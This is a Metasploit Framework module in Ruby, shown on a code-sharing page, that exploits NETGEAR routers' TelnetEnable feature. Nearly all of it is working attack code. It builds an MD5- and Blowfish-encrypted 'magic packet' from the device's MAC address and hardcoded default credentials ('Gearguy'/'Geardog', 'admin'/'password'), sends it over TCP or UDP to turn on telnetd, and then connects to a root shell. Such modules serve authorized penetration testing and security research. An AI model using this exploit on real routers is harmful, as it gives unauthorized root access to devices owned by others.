CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::Udp
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Capture
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'NETGEAR TelnetEnable',
17
'Description' => %q{
18
This module sends a magic packet to a NETGEAR device to enable telnetd.
19
Upon successful connect, a root shell should be presented to the user.
20
},
21
'Author' => [
22
'Paul Gebheim', # Python PoC (TCP)
23
'insanid', # Python PoC (UDP)
24
'wvu' # Metasploit module
25
],
26
'References' => [
27
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
28
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
29
['URL', 'https://github.com/insanid/netgear-telenetenable']
30
],
31
'DisclosureDate' => '2009-10-30', # Python PoC (TCP)
32
'License' => MSF_LICENSE,
33
'Platform' => 'unix',
34
'Arch' => ARCH_CMD,
35
'Privileged' => true,
36
'Payload' => {
37
'Compat' => {
38
'PayloadType' => 'cmd_interact',
39
'ConnectionType' => 'find'
40
}
41
},
42
'Targets' => [
43
['Automatic (detect TCP or UDP)',
44
proto: :auto
45
],
46
['TCP (typically older devices)',
47
proto: :tcp,
48
username: 'Gearguy',
49
password: 'Geardog'
50
],
51
['UDP (typically newer devices)',
52
proto: :udp,
53
username: 'admin',
54
password: 'password'
55
]
56
],
57
'DefaultTarget' => 0
58
))
59
60
register_options([
61
Opt::RPORT(23),
62
OptString.new('MAC', [false, 'MAC address of device']),
63
OptString.new('USERNAME', [false, 'Username on device']),
64
OptString.new('PASSWORD', [false, 'Password on device'])
65
])
66
end
67
68
def post_auth?
69
true
70
end
71
72
def default_credential?
73
true
74
end
75
76
def check
77
# Run through protocol detection
78
detect_proto
79
80
# This is a gamble, but it's the closest we can get
81
if @proto == :tcp
82
CheckCode::Detected
83
else
84
CheckCode::Unknown
85
end
86
end
87
88
def exploit
89
# Try to do the exploit unless telnetd is detected
90
@do_exploit = true
91
92
# Detect TCP or UDP and presence of telnetd
93
@proto = target[:proto]
94
detect_proto if @proto == :auto
95
96
if @do_exploit
97
# Use supplied or ARP-cached MAC address
98
configure_mac
99
# Use supplied or default creds
100
configure_creds
101
# Shell it
102
exploit_telnetenabled
103
end
104
105
# Connect to the shell
106
connect_telnetd
107
end
108
109
def detect_proto
110
begin
111
connect
112
113
res = begin
114
sock.get_once || ''
115
rescue EOFError
116
''
117
end
118
119
# telnetenabled returns no data, unlike telnetd
120
if res.length == 0
121
print_good('Detected telnetenabled on TCP')
122
else
123
print_good('Detected telnetd on TCP')
124
@do_exploit = false
125
end
126
127
@proto = :tcp
128
# It's UDP... and we may not get an ICMP error...
129
rescue Rex::ConnectionError
130
print_good('Detected telnetenabled on UDP')
131
@proto = :udp
132
ensure
133
disconnect
134
end
135
end
136
137
def configure_mac
138
@mac = datastore['MAC']
139
140
return if @mac
141
142
print_status('Attempting to discover MAC address via ARP')
143
144
begin
145
open_pcap
146
@mac = lookup_eth(rhost).first
147
rescue RuntimeError => e
148
fail_with(Failure::BadConfig, "#{e}. Are you root?")
149
ensure
150
close_pcap
151
end
152
153
if @mac
154
print_good("Found MAC address #{@mac}")
155
else
156
fail_with(Failure::Unknown, 'Could not find MAC address')
157
end
158
end
159
160
def configure_creds
161
@username = datastore['USERNAME'] || target[:username]
162
@password = datastore['PASSWORD'] || target[:password]
163
164
# Try to use default creds if no creds were found
165
unless @username && @password
166
tgt = targets.find { |t| t[:proto] == @proto }
167
@username = tgt[:username]
168
@password = tgt[:password]
169
end
170
171
print_good("Using creds #{@username}:#{@password}")
172
end
173
174
def exploit_telnetenabled
175
print_status('Generating magic packet')
176
payload = magic_packet(@mac, @username, @password)
177
178
begin
179
print_status("Connecting to telnetenabled via #{@proto.upcase}")
180
@proto == :tcp ? connect : connect_udp
181
print_status('Sending magic packet')
182
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
183
rescue Rex::ConnectionError
184
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
185
ensure
186
print_status('Disconnecting from telnetenabled')
187
@proto == :tcp ? disconnect : disconnect_udp
188
end
189
190
# Wait a couple seconds for telnetd to come up
191
print_status('Waiting for telnetd')
192
sleep(2)
193
end
194
195
def connect_telnetd
196
print_status('Connecting to telnetd')
197
connect
198
handler(sock)
199
end
200
201
# NOTE: This is almost a verbatim copy of the Python PoC
202
def magic_packet(mac, username, password)
203
mac = mac.gsub(/[:-]/, '').upcase
204
205
if mac.length != 12
206
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
207
end
208
just_mac = mac.ljust(0x10, "\x00")
209
210
if username.length > 0x10
211
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
212
end
213
just_username = username.ljust(0x10, "\x00")
214
215
if @proto == :tcp
216
if password.length > 0x10
217
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
218
end
219
just_password = password.ljust(0x10, "\x00")
220
elsif @proto == :udp
221
# Thanks to Roberto Frenna for the reserved field analysis
222
if password.length > 0x21
223
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
224
end
225
just_password = password.ljust(0x21, "\x00")
226
end
227
228
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
229
md5_key = Rex::Text.md5_raw(cleartext)
230
231
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
232
233
secret_key = 'AMBIT_TELNET_ENABLE+' + password
234
235
byte_swap(blowfish_encrypt(secret_key, payload))
236
end
237
238
def blowfish_encrypt(secret_key, payload)
239
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
240
241
cipher.padding = 0
242
cipher.key_len = secret_key.length
243
cipher.key = secret_key
244
245
cipher.update(payload) + cipher.final
246
end
247
248
def byte_swap(data)
249
data.unpack('N*').pack('V*')
250
end
251
252
end
253
254